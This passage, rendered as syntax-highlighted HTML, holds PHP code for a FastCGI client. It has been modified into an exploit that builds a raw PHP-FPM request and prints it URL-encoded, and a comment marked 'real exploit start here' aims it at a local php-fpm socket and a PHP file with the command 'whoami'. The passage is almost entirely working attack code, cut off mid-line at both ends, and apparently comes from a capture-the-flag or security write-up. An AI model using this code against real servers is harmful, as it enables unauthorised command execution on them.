punctuation">)</span>    <span class="token punctuation">&#123;</span>        <span class="token variable">$clen</span> <span class="token operator">=</span> <span class="token function">strlen</span><span class="token punctuation">(</span><span class="token variable">$content</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">return</span> <span class="token function">chr</span><span class="token punctuation">(</span><span class="token keyword static-context">self</span><span class="token operator">::</span><span class="token constant">VERSION_1</span><span class="token punctuation">)</span>         <span class="token comment">/* version */</span>            <span class="token operator">.</span> <span class="token function">chr</span><span class="token punctuation">(</span><span class="token variable">$type</span><span class="token punctuation">)</span>                    <span class="token comment">/* type */</span>            <span class="token operator">.</span> <span class="token function">chr</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token variable">$requestId</span> <span class="token operator">>></span> <span class="token number">8</span><span class="token punctuation">)</span> <span class="token operator">&amp;</span> <span class="token number">0xFF</span><span class="token punctuation">)</span> <span class="token comment">/* requestIdB1 */</span>            <span class="token operator">.</span> <span class="token function">chr</span><span class="token punctuation">(</span><span class="token variable">$requestId</span> <span class="token operator">&amp;</span> <span class="token number">0xFF</span><span class="token punctuation">)</span>        <span class="token comment">/* requestIdB0 */</span>            <span class="token operator">.</span> <span class="token function">chr</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token variable">$clen</span> <span class="token operator">>></span> <span class="token number">8</span> <span class="token punctuation">)</span> <span class="token operator">&amp;</span> <span class="token number">0xFF</span><span class="token punctuation">)</span>     <span class="token comment">/* contentLengthB1 */</span>            <span class="token operator">.</span> <span class="token function">chr</span><span class="token punctuation">(</span><span class="token variable">$clen</span> <span class="token operator">&amp;</span> <span class="token number">0xFF</span><span class="token punctuation">)</span>             <span class="token comment">/* contentLengthB0 */</span>            <span class="token operator">.</span> <span class="token function">chr</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span>                        <span class="token comment">/* paddingLength */</span>            <span class="token operator">.</span> <span class="token function">chr</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span>                        <span class="token comment">/* reserved */</span>            <span class="token operator">.</span> <span class="token variable">$content</span><span class="token punctuation">;</span>                     <span class="token comment">/* content */</span>    <span class="token punctuation">&#125;</span>    <span class="token comment">/**     * Build an FastCGI Name value pair     *     * @param String $name Name     * @param String $value Value     * @return String FastCGI Name value pair     */</span>    <span class="token keyword">private</span> <span class="token keyword">function</span> <span class="token function-definition function">buildNvpair</span><span class="token punctuation">(</span><span class="token variable">$name</span><span class="token punctuation">,</span> <span class="token variable">$value</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>        <span class="token variable">$nlen</span> <span class="token operator">=</span> <span class="token function">strlen</span><span class="token punctuation">(</span><span class="token variable">$name</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token variable">$vlen</span> <span class="token operator">=</span> <span class="token function">strlen</span><span class="token punctuation">(</span><span class="token variable">$value</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token variable">$nlen</span> <span class="token operator">&lt;</span> <span class="token number">128</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>            <span class="token comment">/* nameLengthB0 */</span>            <span class="token variable">$nvpair</span> <span class="token operator">=</span> <span class="token function">chr</span><span class="token punctuation">(</span><span class="token variable">$nlen</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token punctuation">&#123;</span>            <span class="token comment">/* nameLengthB3 &amp; nameLengthB2 &amp; nameLengthB1 &amp; nameLengthB0 */</span>            <span class="token variable">$nvpair</span> <span class="token operator">=</span> <span class="token function">chr</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token variable">$nlen</span> <span class="token operator">>></span> <span class="token number">24</span><span class="token punctuation">)</span> <span class="token operator">|</span> <span class="token number">0x80</span><span class="token punctuation">)</span> <span class="token operator">.</span> <span class="token function">chr</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token variable">$nlen</span> <span class="token operator">>></span> <span class="token number">16</span><span class="token punctuation">)</span> <span class="token operator">&amp;</span> <span class="token number">0xFF</span><span class="token punctuation">)</span> <span class="token operator">.</span> <span class="token function">chr</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token variable">$nlen</span> <span class="token operator">>></span> <span class="token number">8</span><span class="token punctuation">)</span> <span class="token operator">&amp;</span> <span class="token number">0xFF</span><span class="token punctuation">)</span> <span class="token operator">.</span> <span class="token function">chr</span><span class="token punctuation">(</span><span class="token variable">$nlen</span> <span class="token operator">&amp;</span> <span class="token number">0xFF</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token variable">$vlen</span> <span class="token operator">&lt;</span> <span class="token number">128</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>            <span class="token comment">/* valueLengthB0 */</span>            <span class="token variable">$nvpair</span> <span class="token operator">.=</span> <span class="token function">chr</span><span class="token punctuation">(</span><span class="token variable">$vlen</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token punctuation">&#123;</span>            <span class="token comment">/* valueLengthB3 &amp; valueLengthB2 &amp; valueLengthB1 &amp; valueLengthB0 */</span>            <span class="token variable">$nvpair</span> <span class="token operator">.=</span> <span class="token function">chr</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token variable">$vlen</span> <span class="token operator">>></span> <span class="token number">24</span><span class="token punctuation">)</span> <span class="token operator">|</span> <span class="token number">0x80</span><span class="token punctuation">)</span> <span class="token operator">.</span> <span class="token function">chr</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token variable">$vlen</span> <span class="token operator">>></span> <span class="token number">16</span><span class="token punctuation">)</span> <span class="token operator">&amp;</span> <span class="token number">0xFF</span><span class="token punctuation">)</span> <span class="token operator">.</span> <span class="token function">chr</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token variable">$vlen</span> <span class="token operator">>></span> <span class="token number">8</span><span class="token punctuation">)</span> <span class="token operator">&amp;</span> <span class="token number">0xFF</span><span class="token punctuation">)</span> <span class="token operator">.</span> <span class="token function">chr</span><span class="token punctuation">(</span><span class="token variable">$vlen</span> <span class="token operator">&amp;</span> <span class="token number">0xFF</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>        <span class="token comment">/* nameData &amp; valueData */</span>        <span class="token keyword">return</span> <span class="token variable">$nvpair</span> <span class="token operator">.</span> <span class="token variable">$name</span> <span class="token operator">.</span> <span class="token variable">$value</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token comment">/**     * Read a set of FastCGI Name value pairs     *     * @param String $data Data containing the set of FastCGI NVPair     * @return array of NVPair     */</span>    <span class="token keyword">private</span> <span class="token keyword">function</span> <span class="token function-definition function">readNvpair</span><span class="token punctuation">(</span><span class="token variable">$data</span><span class="token punctuation">,</span> <span class="token variable">$length</span> <span class="token operator">=</span> <span class="token constant">null</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>        <span class="token variable">$array</span> <span class="token operator">=</span> <span class="token keyword">array</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token variable">$length</span> <span class="token operator">===</span> <span class="token constant">null</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>            <span class="token variable">$length</span> <span class="token operator">=</span> <span class="token function">strlen</span><span class="token punctuation">(</span><span class="token variable">$data</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>        <span class="token variable">$p</span> <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>        <span class="token keyword">while</span> <span class="token punctuation">(</span><span class="token variable">$p</span> <span class="token operator">!=</span> <span class="token variable">$length</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>            <span class="token variable">$nlen</span> <span class="token operator">=</span> <span class="token function">ord</span><span class="token punctuation">(</span><span class="token variable">$data</span><span class="token punctuation">&#123;</span><span class="token variable">$p</span><span class="token operator">++</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token variable">$nlen</span> <span class="token operator">>=</span> <span class="token number">128</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>                <span class="token variable">$nlen</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token variable">$nlen</span> <span class="token operator">&amp;</span> <span class="token number">0x7F</span> <span class="token operator">&lt;&lt;</span> <span class="token number">24</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                <span class="token variable">$nlen</span> <span class="token operator">|=</span> <span class="token punctuation">(</span><span class="token function">ord</span><span class="token punctuation">(</span><span class="token variable">$data</span><span class="token punctuation">&#123;</span><span class="token variable">$p</span><span class="token operator">++</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span> <span class="token operator">&lt;&lt;</span> <span class="token number">16</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                <span class="token variable">$nlen</span> <span class="token operator">|=</span> <span class="token punctuation">(</span><span class="token function">ord</span><span class="token punctuation">(</span><span class="token variable">$data</span><span class="token punctuation">&#123;</span><span class="token variable">$p</span><span class="token operator">++</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span> <span class="token operator">&lt;&lt;</span> <span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                <span class="token variable">$nlen</span> <span class="token operator">|=</span> <span class="token punctuation">(</span><span class="token function">ord</span><span class="token punctuation">(</span><span class="token variable">$data</span><span class="token punctuation">&#123;</span><span class="token variable">$p</span><span class="token operator">++</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token punctuation">&#125;</span>            <span class="token variable">$vlen</span> <span class="token operator">=</span> <span class="token function">ord</span><span class="token punctuation">(</span><span class="token variable">$data</span><span class="token punctuation">&#123;</span><span class="token variable">$p</span><span class="token operator">++</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token variable">$vlen</span> <span class="token operator">>=</span> <span class="token number">128</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>                <span class="token variable">$vlen</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token variable">$nlen</span> <span class="token operator">&amp;</span> <span class="token number">0x7F</span> <span class="token operator">&lt;&lt;</span> <span class="token number">24</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                <span class="token variable">$vlen</span> <span class="token operator">|=</span> <span class="token punctuation">(</span><span class="token function">ord</span><span class="token punctuation">(</span><span class="token variable">$data</span><span class="token punctuation">&#123;</span><span class="token variable">$p</span><span class="token operator">++</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span> <span class="token operator">&lt;&lt;</span> <span class="token number">16</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                <span class="token variable">$vlen</span> <span class="token operator">|=</span> <span class="token punctuation">(</span><span class="token function">ord</span><span class="token punctuation">(</span><span class="token variable">$data</span><span class="token punctuation">&#123;</span><span class="token variable">$p</span><span class="token operator">++</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span> <span class="token operator">&lt;&lt;</span> <span class="token number">8</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                <span class="token variable">$vlen</span> <span class="token operator">|=</span> <span class="token punctuation">(</span><span class="token function">ord</span><span class="token punctuation">(</span><span class="token variable">$data</span><span class="token punctuation">&#123;</span><span class="token variable">$p</span><span class="token operator">++</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token punctuation">&#125;</span>            <span class="token variable">$array</span><span class="token punctuation">[</span><span class="token function">substr</span><span class="token punctuation">(</span><span class="token variable">$data</span><span class="token punctuation">,</span> <span class="token variable">$p</span><span class="token punctuation">,</span> <span class="token variable">$nlen</span><span class="token punctuation">)</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">substr</span><span class="token punctuation">(</span><span class="token variable">$data</span><span class="token punctuation">,</span> <span class="token variable">$p</span><span class="token operator">+</span><span class="token variable">$nlen</span><span class="token punctuation">,</span> <span class="token variable">$vlen</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token variable">$p</span> <span class="token operator">+=</span> <span class="token punctuation">(</span><span class="token variable">$nlen</span> <span class="token operator">+</span> <span class="token variable">$vlen</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>        <span class="token keyword">return</span> <span class="token variable">$array</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token comment">/**     * Decode a FastCGI Packet     *     * @param String $data String containing all the packet     * @return array     */</span>    <span class="token keyword">private</span> <span class="token keyword">function</span> <span class="token function-definition function">decodePacketHeader</span><span class="token punctuation">(</span><span class="token variable">$data</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>        <span class="token variable">$ret</span> <span class="token operator">=</span> <span class="token keyword">array</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token variable">$ret</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'version'</span><span class="token punctuation">]</span>       <span class="token operator">=</span> <span class="token function">ord</span><span class="token punctuation">(</span><span class="token variable">$data</span><span class="token punctuation">&#123;</span><span class="token number">0</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token variable">$ret</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'type'</span><span class="token punctuation">]</span>          <span class="token operator">=</span> <span class="token function">ord</span><span class="token punctuation">(</span><span class="token variable">$data</span><span class="token punctuation">&#123;</span><span class="token number">1</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token variable">$ret</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'requestId'</span><span class="token punctuation">]</span>     <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token function">ord</span><span class="token punctuation">(</span><span class="token variable">$data</span><span class="token punctuation">&#123;</span><span class="token number">2</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span> <span class="token operator">&lt;&lt;</span> <span class="token number">8</span><span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token function">ord</span><span class="token punctuation">(</span><span class="token variable">$data</span><span class="token punctuation">&#123;</span><span class="token number">3</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token variable">$ret</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'contentLength'</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token function">ord</span><span class="token punctuation">(</span><span class="token variable">$data</span><span class="token punctuation">&#123;</span><span class="token number">4</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span> <span class="token operator">&lt;&lt;</span> <span class="token number">8</span><span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token function">ord</span><span class="token punctuation">(</span><span class="token variable">$data</span><span class="token punctuation">&#123;</span><span class="token number">5</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token variable">$ret</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'paddingLength'</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token function">ord</span><span class="token punctuation">(</span><span class="token variable">$data</span><span class="token punctuation">&#123;</span><span class="token number">6</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token variable">$ret</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'reserved'</span><span class="token punctuation">]</span>      <span class="token operator">=</span> <span class="token function">ord</span><span class="token punctuation">(</span><span class="token variable">$data</span><span class="token punctuation">&#123;</span><span class="token number">7</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">return</span> <span class="token variable">$ret</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token comment">/**     * Read a FastCGI Packet     *     * @return array     */</span>    <span class="token keyword">private</span> <span class="token keyword">function</span> <span class="token function-definition function">readPacket</span><span class="token punctuation">(</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token variable">$packet</span> <span class="token operator">=</span> <span class="token function">fread</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-></span><span class="token property">_sock</span><span class="token punctuation">,</span> <span class="token keyword static-context">self</span><span class="token operator">::</span><span class="token constant">HEADER_LEN</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>            <span class="token variable">$resp</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-></span><span class="token function">decodePacketHeader</span><span class="token punctuation">(</span><span class="token variable">$packet</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token variable">$resp</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'content'</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token string single-quoted-string">''</span><span class="token punctuation">;</span>            <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token variable">$resp</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'contentLength'</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>                <span class="token variable">$len</span>  <span class="token operator">=</span> <span class="token variable">$resp</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'contentLength'</span><span class="token punctuation">]</span><span class="token punctuation">;</span>                <span class="token keyword">while</span> <span class="token punctuation">(</span><span class="token variable">$len</span> <span class="token operator">&amp;&amp;</span> <span class="token variable">$buf</span><span class="token operator">=</span><span class="token function">fread</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-></span><span class="token property">_sock</span><span class="token punctuation">,</span> <span class="token variable">$len</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>                    <span class="token variable">$len</span> <span class="token operator">-=</span> <span class="token function">strlen</span><span class="token punctuation">(</span><span class="token variable">$buf</span><span class="token punctuation">)</span><span class="token punctuation">;</span>                    <span class="token variable">$resp</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'content'</span><span class="token punctuation">]</span> <span class="token operator">.=</span> <span class="token variable">$buf</span><span class="token punctuation">;</span>                <span class="token punctuation">&#125;</span>            <span class="token punctuation">&#125;</span>            <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token variable">$resp</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'paddingLength'</span><span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>                <span class="token variable">$buf</span><span class="token operator">=</span><span class="token function">fread</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-></span><span class="token property">_sock</span><span class="token punctuation">,</span> <span class="token variable">$resp</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'paddingLength'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>            <span class="token punctuation">&#125;</span>            <span class="token keyword">return</span> <span class="token variable">$resp</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token punctuation">&#123;</span>            <span class="token keyword">return</span> <span class="token constant boolean">false</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>    <span class="token comment">/**     * Get Informations on the FastCGI application     *     * @param array $requestedInfo information to retrieve     * @return array     */</span>    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">getValues</span><span class="token punctuation">(</span><span class="token keyword type-hint">array</span> <span class="token variable">$requestedInfo</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>        <span class="token variable">$this</span><span class="token operator">-></span><span class="token function">connect</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token variable">$request</span> <span class="token operator">=</span> <span class="token string single-quoted-string">''</span><span class="token punctuation">;</span>        <span class="token keyword">foreach</span> <span class="token punctuation">(</span><span class="token variable">$requestedInfo</span> <span class="token keyword">as</span> <span class="token variable">$info</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>            <span class="token variable">$request</span> <span class="token operator">.=</span> <span class="token variable">$this</span><span class="token operator">-></span><span class="token function">buildNvpair</span><span class="token punctuation">(</span><span class="token variable">$info</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">''</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>        <span class="token function">fwrite</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-></span><span class="token property">_sock</span><span class="token punctuation">,</span> <span class="token variable">$this</span><span class="token operator">-></span><span class="token function">buildPacket</span><span class="token punctuation">(</span><span class="token keyword static-context">self</span><span class="token operator">::</span><span class="token constant">GET_VALUES</span><span class="token punctuation">,</span> <span class="token variable">$request</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token variable">$resp</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-></span><span class="token function">readPacket</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token variable">$resp</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'type'</span><span class="token punctuation">]</span> <span class="token operator">==</span> <span class="token keyword static-context">self</span><span class="token operator">::</span><span class="token constant">GET_VALUES_RESULT</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>            <span class="token keyword">return</span> <span class="token variable">$this</span><span class="token operator">-></span><span class="token function">readNvpair</span><span class="token punctuation">(</span><span class="token variable">$resp</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'content'</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token variable">$resp</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'length'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token punctuation">&#123;</span>            <span class="token keyword">throw</span> <span class="token keyword">new</span> <span class="token class-name">Exception</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'Unexpected response type, expecting GET_VALUES_RESULT'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>    <span class="token comment">/**     * Execute a request to the FastCGI application     *     * @param array $params Array of parameters     * @param String $stdin Content     * @return String     */</span>    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">request</span><span class="token punctuation">(</span><span class="token keyword type-hint">array</span> <span class="token variable">$params</span><span class="token punctuation">,</span> <span class="token variable">$stdin</span><span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>        <span class="token variable">$response</span> <span class="token operator">=</span> <span class="token string single-quoted-string">''</span><span class="token punctuation">;</span><span class="token comment">//        $this->connect();</span>        <span class="token variable">$request</span> <span class="token operator">=</span> <span class="token variable">$this</span><span class="token operator">-></span><span class="token function">buildPacket</span><span class="token punctuation">(</span><span class="token keyword static-context">self</span><span class="token operator">::</span><span class="token constant">BEGIN_REQUEST</span><span class="token punctuation">,</span> <span class="token function">chr</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span> <span class="token operator">.</span> <span class="token function">chr</span><span class="token punctuation">(</span><span class="token keyword static-context">self</span><span class="token operator">::</span><span class="token constant">RESPONDER</span><span class="token punctuation">)</span> <span class="token operator">.</span> <span class="token function">chr</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token keyword type-casting">int</span><span class="token punctuation">)</span> <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">_keepAlive</span><span class="token punctuation">)</span> <span class="token operator">.</span> <span class="token function">str_repeat</span><span class="token punctuation">(</span><span class="token function">chr</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token variable">$paramsRequest</span> <span class="token operator">=</span> <span class="token string single-quoted-string">''</span><span class="token punctuation">;</span>        <span class="token keyword">foreach</span> <span class="token punctuation">(</span><span class="token variable">$params</span> <span class="token keyword">as</span> <span class="token variable">$key</span> <span class="token operator">=></span> <span class="token variable">$value</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>            <span class="token variable">$paramsRequest</span> <span class="token operator">.=</span> <span class="token variable">$this</span><span class="token operator">-></span><span class="token function">buildNvpair</span><span class="token punctuation">(</span><span class="token variable">$key</span><span class="token punctuation">,</span> <span class="token variable">$value</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token variable">$paramsRequest</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>            <span class="token variable">$request</span> <span class="token operator">.=</span> <span class="token variable">$this</span><span class="token operator">-></span><span class="token function">buildPacket</span><span class="token punctuation">(</span><span class="token keyword static-context">self</span><span class="token operator">::</span><span class="token constant">PARAMS</span><span class="token punctuation">,</span> <span class="token variable">$paramsRequest</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>        <span class="token variable">$request</span> <span class="token operator">.=</span> <span class="token variable">$this</span><span class="token operator">-></span><span class="token function">buildPacket</span><span class="token punctuation">(</span><span class="token keyword static-context">self</span><span class="token operator">::</span><span class="token constant">PARAMS</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">''</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token variable">$stdin</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>            <span class="token variable">$request</span> <span class="token operator">.=</span> <span class="token variable">$this</span><span class="token operator">-></span><span class="token function">buildPacket</span><span class="token punctuation">(</span><span class="token keyword static-context">self</span><span class="token operator">::</span><span class="token constant">STDIN</span><span class="token punctuation">,</span> <span class="token variable">$stdin</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token punctuation">&#125;</span>        <span class="token variable">$request</span> <span class="token operator">.=</span> <span class="token variable">$this</span><span class="token operator">-></span><span class="token function">buildPacket</span><span class="token punctuation">(</span><span class="token keyword static-context">self</span><span class="token operator">::</span><span class="token constant">STDIN</span><span class="token punctuation">,</span> <span class="token string single-quoted-string">''</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">echo</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'data='</span><span class="token operator">.</span><span class="token function">urlencode</span><span class="token punctuation">(</span><span class="token variable">$request</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">//        fwrite($this->_sock, $request);</span><span class="token comment">//        do &#123;</span><span class="token comment">//            $resp = $this->readPacket();</span><span class="token comment">//            if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) &#123;</span><span class="token comment">//                $response .= $resp['content'];</span><span class="token comment">//            &#125;</span><span class="token comment">//        &#125; while ($resp &amp;&amp; $resp['type'] != self::END_REQUEST);</span><span class="token comment">//        var_dump($resp);</span><span class="token comment">//        if (!is_array($resp)) &#123;</span><span class="token comment">//            throw new Exception('Bad request');</span><span class="token comment">//        &#125;</span><span class="token comment">//        switch (ord($resp['content']&#123;4&#125;)) &#123;</span><span class="token comment">//            case self::CANT_MPX_CONN:</span><span class="token comment">//                throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');</span><span class="token comment">//                break;</span><span class="token comment">//            case self::OVERLOADED:</span><span class="token comment">//                throw new Exception('New request rejected; too busy [OVERLOADED]');</span><span class="token comment">//                break;</span><span class="token comment">//            case self::UNKNOWN_ROLE:</span><span class="token comment">//                throw new Exception('Role value not known [UNKNOWN_ROLE]');</span><span class="token comment">//                break;</span><span class="token comment">//            case self::REQUEST_COMPLETE:</span><span class="token comment">//                return $response;</span><span class="token comment">//        &#125;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token delimiter important">?></span></span><span class="token php language-php"><span class="token delimiter important">&lt;?php</span><span class="token comment">// real exploit start here</span><span class="token comment">//if (!isset($_REQUEST['cmd'])) &#123;</span><span class="token comment">//    die("Check your input\n");</span><span class="token comment">//&#125;</span><span class="token comment">//if (!isset($_REQUEST['filepath'])) &#123;</span><span class="token comment">//    $filepath = __FILE__;</span><span class="token comment">//&#125;else&#123;</span><span class="token comment">//    $filepath = $_REQUEST['filepath'];</span><span class="token comment">//&#125;</span><span class="token variable">$filepath</span> <span class="token operator">=</span> <span class="token string double-quoted-string">"/var/www/html/add_api.php"</span><span class="token punctuation">;</span><span class="token variable">$req</span> <span class="token operator">=</span> <span class="token string single-quoted-string">'/'</span><span class="token operator">.</span><span class="token function">basename</span><span class="token punctuation">(</span><span class="token variable">$filepath</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token variable">$uri</span> <span class="token operator">=</span> <span class="token variable">$req</span> <span class="token operator">.</span><span class="token string single-quoted-string">'?'</span><span class="token operator">.</span><span class="token string single-quoted-string">'command=whoami'</span><span class="token punctuation">;</span><span class="token variable">$client</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">FCGIClient</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"unix:///var/run/php-fpm.sock"</span><span class="token punctuation">,</span> <span class="token operator">-</span><span class="token number">1</span><span 